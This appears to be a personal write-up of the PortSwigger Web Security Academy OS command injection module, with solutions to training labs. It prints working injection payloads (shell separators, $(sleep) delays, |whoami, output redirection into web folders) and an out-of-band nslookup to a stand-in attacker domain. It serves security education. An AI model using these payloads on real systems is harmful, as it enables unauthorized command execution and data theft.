Command injection module - Web Security Academy - PortSwigger

What is OS command injection?

OS command injection (a.k.a Shell injection) is a vulnerability that allows attackers to execute operating system (OS) commands on the server that is running an application, and typically fully compromise the application and its data. Often, an attacker can leverage an OS command injection vulnerability to compromise other parts of the hosting infrastructure, and exploit trust relationships to pivot the attack to other systems within the organization.

Injecting OS commands

Let’s get started with a simple case to approach to OS command injection. In this example, a shopping application lets the user view whether an item is in stock in a particular store. This information is accessed via a URL:

https://insecure-website.com/stockStatus?productID=381&storeID=29

To provide the stock information, the application must query various legacy systems. For historical reasons, the functionality is implemented by calling out to a shell command with the product and store IDs as arguments:

stockreport.pl 381 29

This command outputs the stock status for the specified item, which is returned to the user.

The application implements no defenses against OS command injection, so an attacker can submit the following input to execute an arbitrary command:

& echo aiwefwlguh &

If this input is submitted in the productID parameter, the command executed by the application is:

stockreport.pl & echo aiwefwlguh & 29

The echo command causes the supplied string to be echoed in the output. This is a useful way to test for some types of OS command injection. The & character is a shell command separator. In this example, it causes three separate commands to execute, one after another. The output returned to the user is:

Error - productID was not provided
aiwefwlguh
29: command not found

The three lines of output demonstrate that:

• The original stockreport.pl command was executed without its expected arguments, and so returned an error message.

• The injected echo command was executed, and the supplied string was echoed in the output.

• The original argument 29 was executed as a command, which caused an error.

Placing the additional command separator & after the injected command is useful because it separates the injected command from whatever follows the injection point. This reduces the chance that what follows will prevent the injected command from executing.

LAB 1: OS command injection, simple case

This lab contains an OS command injection vulnerability in the product stock checker. The application executes a shell command containing user-supplied product and store IDs, and returns the raw output from the command in its response. To solve the lab, execute the whoami command to determine the name of the current user.

Following the LAB details, we have to think revolve around the function product stock checker.

On each product, there’s a function called Check stock. Click on it and check the request catched.

For sure, the request contains 2 parameters named productID and storeID. Let’s check the OS command injection vulnerability.

An easiest way to check the OS command injection vulnerability is adding $(sleep 5) into the parameter value.

The payload is: productId=1$(sleep 5)&storeId=1.

Indeed, I have tried and the server has a 5-second delay before return the response. Then, I can guess that the value of productID parameter is passed directly to the back-end without any validating.

Then, I give the payload: productId=1|whoami&storeId=1 and the LAB is solved!

Useful commands

After you identify an OS command injection vulnerability, it’s useful to execute some initial commands to obtain information about the system. Below is a summary of some commands that are useful on Linux and Windows platforms:

Purpose of command	Linux	Windows
Name of current user	whoami	whoami
Operating system	uname -a	ver
Network configuration	ifconfig	ipconfig /all
Network connections	netstat -an	netstat -an
Running processes	ps -ef	tasklist

Blind OS command injection vulnerabilities

Many instances of OS command injection are blind vulnerabilities. This means that the application does not return the output from the command within its HTTP response. Blind vulnerabilities can still be exploited, but different techniques are required.

As an example, imagine a website that lets users submit feedback about the site. The user enters their email address and feedback message. The server-side application then generates an email to a site administrator containing the feedback. To do this, it calls out to the mail program with the submitted details:

mail -s "This site is great" -aFrom:peter@normal-user.net feedback@vulnerable-website.com

The output from the mail command (if any) is not returned in the application’s responses, so using the echo payload won’t work. In this situation, you can use a variety of other techniques to detect and exploit a vulnerability.

Detecting blind OS command injection using time delays

You can use an injected command to trigger a time delay, enabling you to confirm that the command was executed based on the time that the application takes to respond. The ping command is a good way to do this, because lets you specify the number of ICMP packets to send. This enables you to control the time taken for the command to run:

& ping -c 10 127.0.0.1 &

This command causes the application to ping its loopback network adapter for 10 seconds.

Exploiting blind OS command injection by redirecting output

You can redirect the output from the injected command into a file within the web root that you can then retrieve using the browser. For example, if the application serves static resources from the filesystem location /var/www/static, then you can submit the following input:

& whoami > /var/www/static/whoami.txt &

The > character sends the output from the whoami command to the specified file. You can then use the browser to fetch https://vulnerable-website.com/whoami.txt to retrieve the file, and view the output from the injected command.

Exploiting blind OS command injection using out-of-band (OAST) techniques

You can use an injected command that will trigger an out-of-band network interaction with a system that you control, using OAST techniques. For example:

& nslookup kgji2ohoyw.web-attacker.com &

This payload uses the nslookup command to cause a DNS lookup for the specified domain. The attacker can monitor to see if the lookup happens, to confirm if the command was successfully injected.

LAB 2: Blind OS command injection with time delays

This lab contains a blind OS command injection vulnerability in the feedback function. The application executes a shell command containing the user-supplied details. The output from the command is not returned in the response. To solve the lab, exploit the blind OS command injection vulnerability to cause a 10 second delay.

This is the interface of the Submit feedback function. Try typing some random contents and submitting, I retrieved a POST request called /feedback/submit with parameters included.

Now, let’s give some payload to check OS command injection.

Use the same technique as the previous LAB, I try adding $(sleep 10) to the parameter and the LAB is successfully solved.

csrf=D6QLcEUqx5kF0oN0fvvjHWtmFzkgkYhM&name=hi$(sleep 10)&email=hi%40gmail.com&subject=hi&message=hi

Another way to solve this LAB is using ping command with the time set to 10 seconds.

csrf=D6QLcEUqx5kF0oN0fvvjHWtmFzkgkYhM&name=hi$(ping -c 10 127.0.0.1)&email=hi%40gmail.com&subject=hi&message=hi

LAB 3: Blind OS command injection with output redirection

This lab contains a blind OS command injection vulnerability in the feedback function. The application executes a shell command containing the user-supplied details. The output from the command is not returned in the response. However, you can use output redirection to capture the output from the command. There is a writable folder at: /var/www/images/. The application serves the images for the product catalog from this location. You can redirect the output from the injected command to a file in this folder, and then use the image loading URL to retrieve the contents of the file. To solve the lab, execute the whoami command and retrieve the output.

Firstly, I have to submit a feedback and retrieve the catched POST request.

Obviously, I have to check which parameter is able to inject command. Using the technique like in the previous LAB: inject $(sleep 5). Then, I have seen that there’s a delay in the server’s response when injecting it to the hi parameter, so I think I can use it.

At the next step, let’s follow the description of this LAB. I need to add whoami > /var/www/images/[filename] to the parameter value. Let’s try with the payload:

csrf=vV2lCH5gwsBl9aQYIvh7WjU89DVuWB6J&name=hi$(whoami > /var/www/images/output.txt)&email=hi%40gmail.com&subject=hi&message=hi

Moreover, I have to send a GET request to check if the output.txt file is existed.

The content of the command whoami is displayed (peter-NH6iAT) and the LAB is solved!

LAB 4: Blind OS command injection with out-of-band interaction

This lab contains a blind OS command injection vulnerability in the feedback function. The application executes a shell command containing the user-supplied details. The command is executed asynchronously and has no effect on the application’s response. It is not possible to redirect output into a location that you can access. However, you can trigger out-of-band interactions with an external domain. To solve the lab, exploit the blind OS command injection vulnerability to issue a DNS lookup to Burp Collaborator.

This LAB requires Pro version on Burp Suite. I will update it soon!

LAB 5: Blind OS command injection with out-of-band data exfiltration

This lab contains a blind OS command injection vulnerability in the feedback function. The application executes a shell command containing the user-supplied details. The command is executed asynchronously and has no effect on the application’s response. It is not possible to redirect output into a location that you can access. However, you can trigger out-of-band interactions with an external domain. To solve the lab, execute the whoami command and exfiltrate the output via a DNS query to Burp Collaborator. You will need to enter the name of the current user to complete the lab.

This LAB requires Pro version on Burp Suite. I will update it soon!